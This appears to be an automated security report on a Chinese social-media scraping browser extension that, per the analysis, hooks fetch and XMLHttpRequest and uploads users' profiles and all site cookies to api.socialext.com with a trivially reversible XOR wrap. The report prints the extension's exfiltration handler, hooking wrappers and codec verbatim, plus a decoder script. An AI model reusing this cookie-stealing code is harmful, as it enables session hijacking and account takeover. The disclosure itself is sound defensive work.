Is 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 safe?
The extension intercepts social media API responses and transmits account profiles and session cookies to api.socialext.com.
On platforms including TikTok, Douyin, Xiaohongshu (Little Red Book), Bilibili, and Kuaishou, the extension hooks window.fetch and XMLHttpRequest to capture all matching API responses. When a user's own account profile is detected, the extension collects it along with all cookies from that site and sends the bundle to api.socialext.com/collect. The payload is nominally XOR-encrypted, but the decryption key is included in the same request URL, so the encryption provides no confidentiality.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Account profile and all platform cookies sent to api.socialext.com on login
On TikTok, Douyin, Xiaohongshu, Bilibili and Kuaishou, when signed in the extension reads your profile and cookies, adds device ID and OS info, sent to api.socialext.com in a reversible XOR wrap whose key travels with the request.
What actually happens
You open one of the supported social platforms while signed in.
Scope is the sites listed in the manifest (tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains), not every website.
The extension reads your account profile from the page, gathers every cookie the browser holds for that site, and sends the bundle to its own server.
No button press is required; it runs when the page's profile API response is seen, at most once per platform every 30 minutes.
What is collected and sent to api.socialext.com
- Your account profile{"uname":"CANARY_BIRD_12345","mid":3461992,"vipStatus":1}
The account record from the site's own profile API for the signed-in user (username, user ID, membership/VIP status, etc.).
- Every cookie for that site[{"name":"buvid3","value":"...","domain":".bilibili.com"},{"name":"b_nut","value":"..."}]
All cookies the browser holds for the platform you are on; these are what keep you signed in.
- Your device ID0621751634e14013b5da7548ceded493
A persistent identifier the extension stores for your install, letting collected data be tied back to you across sites and visits.
- Operating system and CPUosName=linux, cpuArch=x86-64
Your OS name and processor architecture, read from chrome.runtime.getPlatformInfo().
- Platform codebilibili
Which platform the data came from, sent both in the body and as an x-platform header.
- Extension version3.3.2
The installed version of the extension, from the manifest.
Captured request
Captured during dynamic analysis. A logged-in profile response was returned to the page (with the username set to a planted marker value), and the background worker POSTed this request. XOR-decoding the body with the key from the URL yields the account record carrying the planted marker, the device ID, and the full cookie array for.bilibili.com, confirming the data leaves the device.
- x-version
- 3.3.2
- x-platform
- bilibili
- x-device-id
- 0621751634e14013b5da7548ceded493
- Content-Type
- application/octet-stream
<987-byte octet-stream; XOR-decodes with the key in the URL to the JSON shown below>The code that does this
The background handler that gathers and uploads the data, from the shipping source.
The 'collect' message handler
// Receives the parsed profile forwarded by the page content script.onMessage('collect', async ({ data, sender }) => { if (!sender.url) return; const platform = platformFromUrl(sender.url)?.code; // tiktok / douyin / bilibili / ... if (!platform) return; const { account, version } = data; // Rate-limit: at most once per platform+version every 30 minutes. const last = await lastCollectTime.getValue().catch(() => ({})); const key = `${platform}-${version}`; if (last[key] && Date.now() - last[key] < 1800 * 1000) return; lastCollectTime.setValue({ ...last, [key]: Date.now() }); // Gather everything. const cookies = await chrome.cookies.getAll({ url: sender.url }); // ALL cookies for the site const platInfo = await chrome.runtime.getPlatformInfo(); const deviceId = await storedDeviceId.getValue().catch(() => ''); const appVer = chrome.runtime.getManifest().version; const payload = { account, accountVersion: version, deviceId, cookies, version: appVer, platform, cpuArch: platInfo.arch, osName: platInfo.os }; // XOR-wrap with a random key, then send the key alongside the ciphertext. const cipher = new XorCodec(); const body = cipher.encrypt(JSON.stringify(payload)); const hexKey = cipher.getHexKey(); await fetch(`https://api.socialext.com/collect?key=${hexKey}×tamp=${Date.now()}`, { method: 'POST', headers: { 'Content-Type': 'application/octet-stream', 'x-version': appVer, 'x-platform': platform, 'x-device-id': deviceId }, body });});Where the data ends up
- api.socialext.com
Receives the account profile, site cookies, device ID and OS details per platform. Same registrable domain (socialext.com) as the extension's own access_token cookie host.
Extension replaces fetch and XMLHttpRequest to read API responses on sites
On supported platforms, an injected script replaces the page's fetch/XMLHttpRequest with its own wrappers, so every API call and response passes through the extension, confirmed on tiktok.com.
This feeds data sent to api.socialext.com.
What actually happens
You open one of the supported social platforms.
The MAIN-world content script is declared for tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains, and runs at document_start.
Before the page's own code runs, the extension swaps out the browser's fetch and XMLHttpRequest for its own versions, so it can read every API call and response on the page.
The replacements stay in place for the life of the page.
The code that does this
The functions that replace fetch and XMLHttpRequest, from the shipping source.
fetch wrapper
// Installs a fetch hook scoped to the current site's hostname suffix.function installFetchHook(hostSuffix) { const nativeFetch = window.fetch; window.fetch = async function (input, init) { const response = await nativeFetch(input, init); const url = typeof input === 'string' ? input : input.url; if (url.endsWith(hostSuffix)) { // e.g. '.xiaohongshu.com' const reader = response.clone().body.getReader(); // read a private copy const body = await readAll(reader); let result; try { result = JSON.parse(body); } catch {} forwardToExtension('response', { url, method: (init?.method) || 'GET', body, result }); } return response; // page still gets its data };}XMLHttpRequest wrapper
// Installs an XMLHttpRequest hook that captures request + response.function installXhrHook() { const nativeOpen = XMLHttpRequest.prototype.open; const nativeSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (...args) { this.openArgs = args; // [method, url, ...] return nativeOpen.apply(this, args); }; XMLHttpRequest.prototype.send = function (body) { this.addEventListener('load', () => { const [method, url] = this.openArgs; forwardToExtension('response', { url, method, body, result: tryParse(this.response) }); }); return nativeSend.call(this, body); };}How this was confirmed
On www.tiktok.com, evaluating window.fetch.toString() returned an extension wrapper referencing IS_REQUEST_API_SUPPORTED and Request rather than function fetch() { [native code] }, and XMLHttpRequest.prototype.open.toString() returned a wrapper that saves this.openArgs and delegates to defenser.nativeXMLHttpRequestOpen. Neither is the browser's native function, confirming the page's fetch and XMLHttpRequest are replaced by the extension's versions while you are on the supported platforms.
XOR 'encryption' key is sent in the same request URL, so it protects nothing
Uploads of account data and cookies to api.socialext.com are XOR-scrambled, but the key sits in the request's query string (key=).
Anyone who sees the request has it.
A captured upload decoded to plain JSON using only its own URL's key.
What actually happens
The extension prepares to upload your account data and cookies.
This happens inside the same 'collect' upload that targets api.socialext.com.
It scrambles the body with a one-time XOR key, then includes that key in the upload URL, so the scrambling can be undone by anyone who sees the request.
The key is hex-encoded and appended as the key= query parameter.
Why you can't catch this in DevTools
The upload body looks like binary garbage on the wire, but the key needed to read it is the key= value in the same request's URL. Hex-decode that key to 16 bytes and XOR it against the body to recover the original JSON. Values below are illustrative of the captured structure.
{ "account": { "uname": "CANARY_BIRD_12345", "mid": 3461992, "vipStatus": 1 }, "accountVersion": 1, "deviceId": "0621751634e14013b5da7548ceded493", "cookies": [ { "name": "buvid3", "value": "<redacted>", "domain": ".bilibili.com" }, { "name": "b_nut", "value": "<redacted>", "domain": ".bilibili.com" } ], "version": "3.3.2", "platform": "bilibili", "cpuArch": "x86-64", "osName": "linux"}The code that does this
The XOR codec and the line that puts its key in the URL, from the shipping source.
The XOR codec class
class XorCodec { constructor() { this.key = this.generateRandomKey(16); // 16 random bytes } generateRandomKey(n) { const k = new Uint8Array(n); crypto.getRandomValues(k); return k; } encryptBytes(bytes) { const out = new Uint8Array(bytes.length); for (let i = 0; i < bytes.length; i++) out[i] = bytes[i] ^ this.key[i % this.key.length]; // repeating-key XOR return out; } encrypt(text) { return this.encryptBytes(new TextEncoder().encode(text)); } getHexKey() { return Array.from(this.key).map(b => b.toString(16).padStart(2, '0')).join(''); }}Key appended to the upload URL
const codec = new XorCodec();const body = codec.encrypt(JSON.stringify(payload)); // ciphertextconst hexKey = codec.getHexKey(); // the key to read it// The key is placed in the SAME request URL as the ciphertext:await fetch(`https://api.socialext.com/collect?key=${hexKey}×tamp=${Date.now()}`, { method: 'POST', headers: { 'Content-Type': 'application/octet-stream' }, body});Reproduce it yourself
Given the request URL (with its key= parameter) and the raw octet-stream body of a captured api.socialext.com/collect upload, this script hex-decodes the key, XORs it against the body, and prints the original JSON, demonstrating that the key in the URL fully reverses the scrambling.
- Node.js 18+
// decode-socialext-collect.js// Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>// Recovers the plaintext of a captured api.socialext.com/collect upload// using only the key carried in the request URL.const fs = require('fs');const url = process.argv[2];const bodyPath = process.argv[3];if (!url || !bodyPath) { console.error('Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>'); process.exit(1);}// 1. Pull the hex key out of the request URL's ?key= parameter.const hexKey = new URL(url).searchParams.get('key');if (!hexKey || !/^[0-9a-f]+$/i.test(hexKey)) { console.error('No valid hex key= parameter found in the URL.'); process.exit(1);}const key = Buffer.from(hexKey, 'hex'); // 16 bytes// 2. Read the raw octet-stream body and XOR it with the repeating key.const body = fs.readFileSync(bodyPath);const out = Buffer.alloc(body.length);for (let i = 0; i < body.length; i++) { out[i] = body[i] ^ key[i % key.length];}// 3. The result is the original UTF-8 JSON payload.console.log(out.toString('utf8'));- 1Capture a POST to api.socialext.com/collect (URL + raw body).
- 2Save body bytes to body.bin.
- 3Run: node decode-socialext-collect.js '<URL>' body.bin
- 4The JSON payload (account, cookies, deviceId) prints.
Where it sends data
Destinations our analysis observed 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.socialext.com
社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 sends data to api.socialext.com. No other extension we have analyzed sends data here.